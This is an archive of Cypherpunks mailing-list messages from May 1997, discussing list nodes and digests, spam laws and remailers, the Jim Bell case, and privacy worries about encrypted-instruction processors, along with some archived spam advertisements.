From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 25 May 1997 02:42:58 +0800
Subject: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241834.NAA15516@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240549.AAA11795 at manifold.algebra.com>, on 05/23/97 
   at 11:49 PM, ichudov at algebra.com (Igor Chudov @ home) said:

>Ladies and Gentlemen,

>As the time goes on and I see what is happening inside and outside our
>list, I am getting increasingly concerned about the small number of hosts
>in the cypherpunks network.

>Practically, most of the people use only two nodes, Kent's and mine, and
>thanks to Jim, we have three operating ones. I do not believe that it is
>good enough.

>If anyone has any creative idea of how to get a couple more reliable
>nodes, please share it.

I should have a new node up shorly.

This will be a cypherpunks-digest node.

I plan on taking input from the 3 current nodes, remove any duplicates and
then send out 1 or 2 digest messages a day (depending on volume).

I will be working this weekend on the digest code, hopfully I can have
things up and running sometime next week depending on how much time "real"
work takes up.

Once I have the digest list set-up I can start posting some statistics on
the "quality of service" on the various lists.

I do not plan on filtering any traffic with the exception of "denial of
service" attacks (100 ascii art messages, ...). I may not have to even do
this if the other lists already take care of this.

As soon as I have more info I will post it to the list.

PS: What does everyone think of CC: alt.cypherpunks with the digest?


Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: He who laughs last uses OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4dCe49Co1n+aLhhAQHpPwQAwnwWWNlGh8MnERO9kkgJsF+CKuBwKh6q
75oeD0/x6MaYIE1jePrAQvqkNcvzVCMbvdSkBCH1rFSLhoGECsh1jXgvWmPieRfB
7sedYwX1UTVOPz/YLvHh0BcCuevbq1V5vZD/PzhIwxskT1CNLfYkcoM/lph/HpAZ
Aaa3bo/09+k=
=9HJY
-----END PGP SIGNATURE-----






From tcmay at got.net  Sat May 24 12:01:55 1997
From: tcmay at got.net (Tim May)
Date: Sun, 25 May 1997 03:01:55 +0800
Subject: Spam laws threaten remailers?
In-Reply-To: <199705231444.QAA16307@basement.replay.com>
Message-ID: 


At 4:44 PM +0200 5/23/97, Anonymous wrote:
>Two possibilities:
>
>First, the law might not apply to remailer operators.  It only applies
>to originators of messages.  It might make it illegal to use remailers
>to send commercial messages, but that would apply to the users,
>not to the remailer operators.
>
>Even if it does apply to remailers, they can comply with it.
>Put "Advertisement" at the front of each subject line, and put the
>remailer operator's contact info in the message.  Remailer operators
>are not generally hidden, so this does not hurt them any.


Indeed. As this message (the one you are reading now), I have stated who I
am, but the included (quoted) text does not carry this information.

By the definition above, this message is kosher.

By the definition that even included or remailed text must have similar
identification of all text, then any mail message which includes quotes
without full attribution would be illegal. This is clearly an
unconstitutional infringement on speech.

And unenforceable. (In the sense that there aren't enough courts to handle
the load.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sat May 24 12:04:09 1997
From: tcmay at got.net (Tim May)
Date: Sun, 25 May 1997 03:04:09 +0800
Subject: Salvador Allende meets Kevin Kelly
In-Reply-To: <3.0.2.32.19970523070030.03c8abfc@panix.com>
Message-ID: 


At 9:56 AM -0400 5/23/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The Front Lines column on the Marketplace page in Today's WSJ:
>
>http://interactive3.wsj.com/edition/current/articles/FrontLines.htm
>
>May 23, 1997
>
>Entrepreneurs Become Leaders In the New World, Flores Says
>
>I FIRST HEARD the name Fernando Flores...


I thought the Winograd/Flores book, "Understanding Computers and Cognition"
was quite good, and I recommended it on the Extropians list several years
back.

A good description of Heidegger's "readiness to hand," which may also be
characterized as "user friendliness" and "intuitiveness."

I never looked at their "fascistware" product, a product category which
seems to have thankfully died.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From file130 at ibm.net  Sun May 25 03:22:11 1997
From: file130 at ibm.net (file130 at ibm.net)
Date: Sun, 25 May 1997 03:22:11 -0700 (PDT)
Subject: Sunshine, pools and palm trees
Message-ID: 


There's a place near Palm Springs, California where palm trees sway, 
sparkling hot mineral pools dance in the sunlight and your worries melt
away with the special touch of our world class staff. Spacious rooms, 
soothing massages, facials, and body therapies await you. 

We have two mineral water wells that continuously pump hot water into
8 pools, (one is Olympic size).

To immediately receive a discount and get a FREE cool T-shirt mailed 
to you, call the Desert Hot Springs Spa Hotel at 1-800-808-7727 and
mention the Internet offer.

Visit our web site at http://www.dhsspa.com or send us an email to
Spas at earthlink.net for more information.






From shamrock at netcom.com  Sat May 24 13:11:18 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 25 May 1997 04:11:18 +0800
Subject: Key Recovery / The True Story
Message-ID: <3.0.32.19970524122113.00756270@netcom13.netcom.com>


At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
>
>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

>From a pragmatic standpoint,  if the feds can burn down a church with the
worshippers still inside with impunity, it stands to reason that breaking
into their computers would not be a very big deal.

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From shamrock at netcom.com  Sat May 24 13:26:54 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 25 May 1997 04:26:54 +0800
Subject: V-Chips for the Internet
Message-ID: <3.0.32.19970524125311.006ff714@netcom13.netcom.com>


At 02:16 PM 5/23/97 -0700, Tim May wrote:
>There are three main dimensions to this "V-chip for the Internet," just as
>there are for the original V-chip for televisions:
[...]
>3. Economics. How long will it take before even 5% of the nation's
>computers have this V-chip installed? How much will it cost? Who will
>bother with it?

You may recall that the US mandated the use of V-chips in future
televisions. By the same token, the US could mandate the use of I-chips in
future modems.

[...]
>Could hardware-based chips be coming? At a recent meeting, John Markoff
>asked me if I'd heard anything about Intel's rumored contract to buy 20
>million (yes, 20 _million_) keyboards with crypto features built in. I had
>not heard this rumor.
>
>(Since then, though, there have been rumblings that Intel is preparing to
>offer such keyboards, possibly with "user authentication" features (don't
>know what kind). 

Actually, it is 10 million keyboards with smartcard readers. Unless Intel
increased the lot size. I talked with a person at Intel attempting to
purchase the devices back in October, 1996. He expressed the difficulties
they were having finding a keyboard vendor who understood that the CPU
should not be directly involved in the smartcard operation. From this
discussion, I assumed the purpose of the devices is authentication.

The keyboards might be for an ecommerce solution or they might be used in
conjunction with Intel's P7, which will support encrypted instruction sets.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From whgiii at amaranth.com  Sat May 24 13:50:19 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 25 May 1997 04:50:19 +0800
Subject: Key Recovery / The True Story
In-Reply-To: <3.0.32.19970524122113.00756270@netcom13.netcom.com>
Message-ID: <199705242034.PAA16620@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.32.19970524122113.00756270 at netcom13.netcom.com>, on 05/24/97 
   at 01:50 PM, Lucky Green  said:

>At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>>    Is it EVER okay for spooks to break into a church's computer to
>>    find out if they are secret terrorists?
>>
>>I'm not sure the answer is clearly one way or another, and I am
>>willing to bet that the tone of the answers will mostly be emotional
>>appeals to some idealistic standard or pessimistic nightmares.

>>From a pragmatic standpoint,  if the feds can burn down a church with the
>worshippers still inside with impunity, it stands to reason that breaking
>into their computers would not be a very big deal.

Cromwell for Presedent??

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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From minjiang at hotmail.com  Sun May 25 06:16:56 1997
From: minjiang at hotmail.com (minjiang at hotmail.com)
Date: Sun, 25 May 1997 06:16:56 -0700 (PDT)
Subject: international rates
Message-ID: <199705251300.GAA20728@denmark.it.earthlink.net>


Hello,

You were referred to us as someone who makes regular international
calls.  If this is not the case, please forgive the intrusion- we won't send
you any other messages.

These are, by far, the lowest international calling rates anywhere. 
You can sign up online right now for service, for no cost or fees, and
you DO NOT need to switch your long distance carrier:

                http://205.199.212.65/itl/itl.html

AGAIN, there's no need to switch service: Just dial the 800# or PIC
code for access.  You can be on in 48 business  hrs. or less.  

PLUS, you can earn 5% on other people's usage, and get a FREE web page
that will take orders for your referals 24 hours per day:

All rates are FLAT rates, 24 hrs./day:

$1.48	Afghanistan			
$0.72	Albania			
$0.77	Algeria			
$0.76	American Samoa			
$0.43	Andorra			
$1.04	Angola			
$0.73	Anguilla			
$0.73	Antigua			
$0.68	Argentina			
$0.77	Armenia			
$0.53	Aruba			
$1.16	Ascension Island			
$0.28	Australia			
$0.38	Austria			
$0.85	Azerbaijan			
$0.36	Bahamas			
$0.95	Bahrain
$1.18	Bangladesh
$0.64	Barbados
$0.70	Belarus
$0.33	Belgium
$0.93	Belize
$0.78	Benin
$0.44	Bermuda
$1.09	Bhutan
$0.88	Bolivia
$0.64	Bosnia
$0.99	Botswana
$0.69	Brazil
$0.60	British Virgin
$0.75	Brunei
$0.60	Bulgaria
$0.81	Burkina Faso
$0.97	Burundi
$1.31	Cambodia
$1.02	Cameroon
$0.24	Canada
$0.84	Cape Verde Islan
$0.66	Cayman Islands
$1.38	Central African
$1.42	Chad
$0.56	Chile
$0.81	China
$0.62	Christmas Island
$0.68	Colombia
$1.17	Comoros
$1.05	Congo
$1.35	Cook Islands
$0.72	Costa Rica
$0.54	Croatia
$0.83	Cuba
$0.62	Cyprus
$0.48	Czech Republic
$0.28	Denmark
$1.09	Diego Garcia
$1.04	Djibouti
$0.67	Dominica
$0.78	Ecuador
$0.93	Egypt
$0.75	El Salvador
$0.46	Estonia
$1.18	Ethiopia
$0.44	Faeroe Islands
$1.07	Falkland Islands
$1.18	Fiji Islands
$0.32	Finland
$0.28	France
$0.72	French Antilles
$0.74	French Guiana
$0.72	French Polynesia
$1.04	"Gabon, Republic"
$0.76	Gambia
$0.93	Georgia
$0.28	Germany
$0.82	Ghana
$0.54	Gibraltar
$0.48	Greece
$0.67	Greenland
$0.60	Grenada
$0.59	Guadeloupe
$0.38	Guam
$0.72	Guatemala
$1.35	Guinea Bissau
$0.90	Guinea
$0.97	Guyana
$0.74	Haiti
$0.78	Honduras
$0.39	Hong Kong
$0.42	Hungary
$0.46	Iceland
$0.99	India
$0.88	Indonesia
$1.10	Iran
$1.21	Iraq
$0.34	Ireland
$0.69	Israel
$0.34	Italy
$1.17	Ivory Coast
$0.65	Jamaica
$0.36	Japan
$0.88	Jordan
$0.96	Kazakhstan
$1.12	Kiribati
$0.65	Korea
$0.89	Kuwait
$0.99	Kyrgyzstan
$1.50	Laos
$0.55	Latvia
$0.99	Lebanon
$1.03	Lesotho
$0.70	Liberia
$0.63	Libya
$0.37	Liechtenstein
$0.62	Lithuania
$0.37	Luxembourg
$0.87	Macao
$0.67	Macedonia
$1.18	Madagascar
$0.70	Malawi
$0.59	Malaysia
$1.10	Maldives
$1.13	Mali
$0.55	Malta
$1.14	Mauritania
$0.90	Mauritius
$1.28	Mayotte Island
$0.27	Mexico Step 1
$0.32	Mexico Step 2
$0.44	Mexico Step 3
$0.49	Mexico Step 4
$0.53	Mexico Step 5
$0.70	Mexico Step 6
$0.73	Mexico Step 7
$0.75	Mexico Step 8
$1.03	Micronesia
$0.88	Moldova
$0.34	Monaco
$0.99	Mongolia
$0.64	Montserrat
$0.62	Morocco
$0.88	Mozambique
$1.10	Namibia
$1.34	Nauru
$1.50	Nepal
$0.29	Netherlands
$0.66	Nevis
$1.10	New Caledonia
$0.35	New Zealand
$0.84	Nicaragua
$1.09	Niger
$0.81	Nigeria
$1.61	Niue
$0.30	Norway
$1.14	Oman
$1.27	Pakistan
$1.50	Palau
$0.78	Panama
$0.83	Papua New Guinea
$0.92	Paraguay
$0.78	Peru
$0.71	Philippines
$0.46	Poland
$0.44	Portugal
$0.21	Puerto Rico
$1.04	Qatar
$1.15	Reunion Island
$0.65	Romania
$0.67	Russia
$1.07	Rwanda
$0.80	Saipan
$0.46	San Marino
$1.04	Saudi Arabia
$1.40	Senegal
$1.36	Seychelles Isl
$0.99	Sierra Leone
$0.36	Singapore
$0.48	Slovakia
$0.57	Slovenia
$1.04	Solomon Island
$0.63	South Africa
$0.38	Spain
$1.16	Sri Lanka
$0.97	St Helena
$0.73	St Kitts
$0.73	St Lucia
$0.47	St Pierre & Mi.
$0.73	St Vincent
$0.64	Sudan
$1.25	Suriname
$0.68	Swaziland
$0.22	Sweden
$0.29	Switzerland
$1.15	Syria
$0.57	"Taiwan, Republic"
$0.98	Tajikstan
$1.07	Tanzania
$0.89	Thailand
$1.06	Tonga
$0.73	Trinidad & Tobag
$0.74	Tunisia
$0.66	Turkey
$0.99	Turkmenistan
$0.73	Turks & Caicos
$1.05	Tuvalu
$0.91	Uganda
$0.67	Ukraine
$0.75	United Arab Emir
$0.19	United Kingdom
$0.90	Uruguay
$0.99	Uzbekistan
$1.09	Vanuatu
$0.43	Vatican City
$0.48	Venezuela
$1.25	Vietnam
$0.44	Wallis
$1.00	Western Samoa
$0.97	Yemen Arab Rep
$0.97	Yemen Demo Rep
$0.60	Yugoslavia
$0.85	Zaire
$0.91	Zambia
$0.74	Zimbabwe






From whgiii at amaranth.com  Sat May 24 15:27:37 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 25 May 1997 06:27:37 +0800
Subject: Algebra.com Lag Test
Message-ID: <199705242219.RAA17753@mailhub.amaranth.com>


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- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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From whgiii at amaranth.com  Sat May 24 15:31:32 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 25 May 1997 06:31:32 +0800
Subject: Cyberpass Lag Test
Message-ID: <199705242220.RAA17767@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

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From kent at songbird.com  Sat May 24 17:06:15 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 25 May 1997 08:06:15 +0800
Subject: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <19970524165207.54369@bywater.songbird.com>


On Sat, May 24, 1997 at 12:48:52AM -0400, Lynne L. Harrison wrote:
[...]
>Agreed.  As we all know, tax evasion charges have been used by the IRS when
>the FBI has felt that it is unable to prove other charges.  Its use against
>organized crime is a prime example.

IANAL, but in this case it looks like the IRS was involved from the 
beginning. 

[...]
>the SS number charges and the failure to file income tax returns.  Perhaps,
>the other acts, wherein no specific statutes are alleged to have been
>violated, are mentioned as a means to make a showing that Bell is a danger to
>the community and, therefore, a factor for asking the magistrate to set no
>bail.

And to establish motive.

Is it perhaps possible that, since the charge includes the idea of
"interfering" with the IRS, that there was an element of
"intimidation", and so on, that there may be specific clauses in the
statute cited that may have bearing?

[...]

>If there is one.  As you stated above and IMHO based upon what I have read,
>the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
>matter may very well be resolved via a plea bargain.

It also seems to me that the IRS has a potentially strong case.  Given
that, what would be Bell's likely sentence, and how much could he
reduce it with a plea bargain? It certainly seems like the
weapons/AP/poison_gas/sabatoge stuff makes it *much* harder for him to
plea bargain (which may be why it is there). 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From die at pig.die.com  Sat May 24 19:52:51 1997
From: die at pig.die.com (Dave Emery)
Date: Sun, 25 May 1997 10:52:51 +0800
Subject: Beware of encrypted processors bearing gifts...
Message-ID: <199705250228.WAA28391@pig.die.com>


Lucky Green wrote :

> 
> Actually, it is 10 million keyboards with smartcard readers. Unless Intel
> increased the lot size. I talked with a person at Intel attempting to
> purchase the devices back in October, 1996. He expressed the difficulties
> they were having finding a keyboard vendor who understood that the CPU
> should not be directly involved in the smartcard operation. From this
> discussion, I assumed the purpose of the devices is authentication.
> 
> The keyboards might be for an ecommerce solution or they might be used in
> conjunction with Intel's P7, which will support encrypted instruction sets.


	I find the notion of an extremely wide deployment (as any Intel
x86 product will be) of machines with processors that support encrypted
instruction sets and associated smart cards deeply disquieting.

	It seems to me that this is enabling technology that would allow
the insertion of autonomous encrypted 'little brothers', into operating
systems and perhaps major net applications such as web browsers as
well..  These 'little brother' observers could be made completely opaque
to even determined and sophisticated users - with encrypted code and the
potential for encryption of all their data it would require breaking the
encryption for an independant entity to understand what such an agent
was doing and who it was doing it for.  And by making support of such
agents part of the encrypted inner ring of an OS (Win99?), it might be 
very nearly impossible to run the OS without the agent or agents present
and operating properly.   And as more and more PCs are net connected,
such agents would not need to operate entirely autonomously, as they
could communicate over encrypted links with their Big Brother somewhere
else.

	The sea change in computing that would result from providing a
mechanism for secret, black box, unknowable and unalterable code to run
on the worlds personal computers is very significant.  Up to now it has
been possible, with effort and skill and intelligence, to determine what
the code of any OS or application did by decompiling it, or use of
software ICEs, debuggers, and even hardware monitors such as ICE's and
logic analyzers. Presumably an encrypted Intel processor will reveal
these secrets only to a very limited group of trusted developers, and
perhaps even then only information about the application or layer the
person is authorized to work on.

	Having both the ability to know what code is doing, and the
ability to alter it has so far detered most attempts to put unfriendly
agents into OS or applications code.  It has  been too easy to discover
them, and too easy to disable them for this to be a really effective
tool of social control, as witnessed by the failure of generations of
copy protection schemes.  But a truly secure encrypted processor changes
things a lot - both understanding what the code does and  modifying it
become near impossible.

	While one can readily understand and even sympathize with the use
of such entities to control and perhaps even largely eliminate software
piracy and other theft of intellectual property, the potential uses of
secure agents to implement more sinister social policy are frightening.

	A three way encrypted handshake between an encrypted agent that
was part of the OS and  a smart card and software at an ISP could be
used to enforce an internet drivers license law for  example, with no
packets being forwarded by the ISP without hard  authentication (even up
to biometrics) of the user.  And it would be rather trivial to disallow
use of "unapproved" software to communicate over the net, making
enforcement of GAK much more complete.  One could even use such a
mechanism to forbid use of any  uncertified software on a net connected
machine, thus making it rather hard to use such rogue applications as
PGP.

	And given that independant review of such secret OS code would be
near impossible, adding a Digital Telephony style watcher that could be
turned on via an encrypted packet from the net to record the user's
actions and what he typed or even access encryption keys or plaintext of
encrypted traffic would simply require collusion between the OS supplier
and the government, perhaps under pressure of antitrust enforcement or
other suitable incentivization.  Discovering that such a secret trojan
was in the encrypted inner kernal code would not be easy, especially if
it was only used rarely...
	
	Perhaps most sinister, as more and more of the code run on a PC
becomes encrypted and opaque, it gets easier and easier for a trojan
created not by a Big Brother state, but by criminal elements or foreign or
industrial spies, to hide amidst all the other layers of encrypted
code, safe from being detected by all but the few in possesion of the
master keys or special hardware required to understand what was going
on.

						Dave Emery
						die at die.com






From harka at nycmetro.com  Sun May 25 11:40:51 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 25 May 1997 11:40:51 -0700 (PDT)
Subject: Too few Cypherpunks nodes
Message-ID: <199705251846.OAA18559@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov at algebra.com) wrote:

>> To subscribe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo at algebra.com, 
>>majordomo at sirius.infonex.com, or majordomo at cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo at ssz.com, majordomo at cyberpass.net, and
> majordomo at algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


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From ichudov at algebra.com  Sat May 24 20:45:48 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 11:45:48 +0800
Subject: Too few cypherpunks nodes.
In-Reply-To: <199705241834.NAA15516@mailhub.amaranth.com>
Message-ID: <199705250338.WAA26600@manifold.algebra.com>


digest is a standard function of majordomo

igor

William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705240549.AAA11795 at manifold.algebra.com>, on 05/23/97 
>    at 11:49 PM, ichudov at algebra.com (Igor Chudov @ home) said:
> 
> >Ladies and Gentlemen,
> 
> >As the time goes on and I see what is happening inside and outside our
> >list, I am getting increasingly concerned about the small number of hosts
> >in the cypherpunks network.
> 
> >Practically, most of the people use only two nodes, Kent's and mine, and
> >thanks to Jim, we have three operating ones. I do not believe that it is
> >good enough.
> 
> >If anyone has any creative idea of how to get a couple more reliable
> >nodes, please share it.
> 
> I should have a new node up shorly.
> 
> This will be a cypherpunks-digest node.
> 
> I plan on taking input from the 3 current nodes, remove any duplicates and
> then send out 1 or 2 digest messages a day (depending on volume).
> 
> I will be working this weekend on the digest code, hopfully I can have
> things up and running sometime next week depending on how much time "real"
> work takes up.
> 
> Once I have the digest list set-up I can start posting some statistics on
> the "quality of service" on the various lists.
> 
> I do not plan on filtering any traffic with the exception of "denial of
> service" attacks (100 ascii art messages, ...). I may not have to even do
> this if the other lists already take care of this.
> 
> As soon as I have more info I will post it to the list.
> 
> PS: What does everyone think of CC: alt.cypherpunks with the digest?
> 
> 
> Thanks,
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.                        
> - -----------------------------------------------------------
>  
> Tag-O-Matic: He who laughs last uses OS/2.
> 
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> Version: 2.6.2
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> 



	- Igor.






From shamrock at netcom.com  Sat May 24 21:01:48 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 25 May 1997 12:01:48 +0800
Subject: Beware of encrypted processors bearing gifts...
Message-ID: <3.0.32.19970524204444.00739384@netcom13.netcom.com>


At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
>	A three way encrypted handshake between an encrypted agent that
>was part of the OS and  a smart card and software at an ISP could be
>used to enforce an internet drivers license law for  example, with no
>packets being forwarded by the ISP without hard  authentication (even up
>to biometrics) of the user.  And it would be rather trivial to disallow
>use of "unapproved" software to communicate over the net, making
>enforcement of GAK much more complete.  One could even use such a
>mechanism to forbid use of any  uncertified software on a net connected
>machine, thus making it rather hard to use such rogue applications as
>PGP.

I strongly agree with you. While the motivation that lead to the
development of such processors stems probably from the desire to thwart
software piracy, it will make implementation of the "Internet Driver
License" that much easier.

[For those new to Cypherpunks, I consider the requirement for an Internet
Driver License as inevitable as the sun raising tomorrow morning. While the
event is technically in the future, it will occur with a certainty that it
may just as well have already happened in the past. Read the graphic novel
"Watchmen" if you don't understand what I am talking about. Sure, there is
a small but no-zero probability that the Earth will be vaporized before
sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
wrote "as inevitable", as opposed to "inevitable".]

Smartcard readers and processors with encrypted instruction sets are just a
first step to the ultimate goal, requiring biometric authentication to the
applications on your machine. Some will claim they won't use such machines
and  stick to their old Pentium Pro's. I just threw out an old 286, because
I couldn't find a single person that wanted it for free. Your 200 MHz
Pentium Pro will be just as useful as that old 286 a few years hence. Sure,
it will still operate and you can even run some old programs on it.  But it
simply will be unsuitable as your primary machine. Instead, you will find
yourself using a box that runs code you can't possible figure out what it
does and requires biometric authentication for login.

Have fun,

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From owner-cypherpunks  Sun May 25 12:38:36 1997
From: owner-cypherpunks (owner-cypherpunks)
Date: Sun, 25 May 1997 12:38:36 -0700 (PDT)
Subject: You have got to check this one out!
Message-ID: <199705251934.TAA392758@out2.ibm.net>



You have got to check out this awesome 
web page I found!!!
CLICK HERE TO GO TO THE WEB PAGE !!! 

[ you must be over 18 years of age to access it.  :) ]







From ichudov at algebra.com  Sat May 24 22:11:47 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 13:11:47 +0800
Subject: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705241406.JAA23220@einstein.ssz.com>
Message-ID: <199705250454.XAA26987@manifold.algebra.com>


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 24 May 1997 14:10:59 +0100
> > From: Adam Back 
> > Subject: Re: Too few cypherpunks nodes.
> > Does anyone know how many people are using Jim's cypherpunks at ssz.com?
> 
> I don't even check, less than 100 for shure and probably less than 25.
> Don't remember seeing that many notices of subscription to the cpunks list.
> There are a LOT of info and help requests though.

Maybe we should put together a short document describing what cypherpunks
lists are there and how to choose them. We can mentions all nodes -- ssz,
cyberpass, and algebra -- in that document.

> > Also I might point out that the afforded privacy is mostly illusionary
> > because any TLA who cared could observe the mail fanning out from
> > ssz.com with Sender: cypherpunks-owner at ssz.com and reconstruct the
> > list in short order.
> 
> True, but in that case they can simply walk in with a subpeonae and take it
> as well, it is sitting there in a plain text file. The reason I do this is to
> minimize spammings and other such attacks it is not to protect anyone from a
> truly determined assault but rather from those marketing idiots out there
> with no clue as to anything close to reasonable behaviour.

This sounds like a reasonable choice, although I chose not to do it.

	- Igor.






From azur at netcom.com  Sat May 24 22:34:14 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 25 May 1997 13:34:14 +0800
Subject: More Sky Station Info
Message-ID: 


>Date: Wed, 21 May 1997 08:11:54 -0700
>Subject: More Sky Station Info
>From: "Dewayne-Net Information List" 
>To: dewayne-net at warpspeed.com (Dewayne's Wireless News List)
>Mime-Version: 1.0
>Precedence: Bulk
>Reply-To: dewayne-net at warpspeed.com
>
>>>  The FCC just approved Sky Station International, a plan to provide
>>>  T1-level service (1.5Mbps) to your laptop via giant "weather balloons."
>>
>>http://www.fcc.gov/Bureaus/International/Public_Notices/1996/pnin6060.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg1-m3.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m5.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m3.txt
>>
>>   The stations themselves will be platforms held at a height of
>>   approximately 100,000 feet by lighter-than-air craft and station-kept
>>   by corona ion engines.
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Dewayne Hendricks, WA8DZP ! AOL: HENDRICKS
>Warp Speed Imagineering   ! Internet: dewayne at warpspeed.com
>43730 Vista Del Mar       ! Packet Radio: WA8DZP @ K3MC.#NOCAL.CA.USA.NOAM
>Fremont, CA 94539-3204    ! WWW: 
>Fax: (510) 770-9854       !
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From kent at songbird.com  Sat May 24 22:58:06 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 25 May 1997 13:58:06 +0800
Subject: SIGH Geiger clueless again
In-Reply-To: <199705240107.UAA21651@einstein.ssz.com>
Message-ID: <19970524224202.41456@bywater.songbird.com>


On Fri, May 23, 1997 at 08:07:01PM -0500, Jim Choate wrote:
> Forwarded message:
> 
> > From: "William H. Geiger III" 
> > Date: Fri, 23 May 97 08:29:59 -0500
> 
> > No not at all. Just because I am connected to the network I am under no
> > obligation to accept a single bit. I don't have to ever download any mail
> > or I can download all or I can pick and choose what I accept or what I
> > don't.
> 
> Exactly,

Once a bit is on the wire you either accept it or effectively 
disconnect.  Period.  If you (or your lower network layer surrogates) 
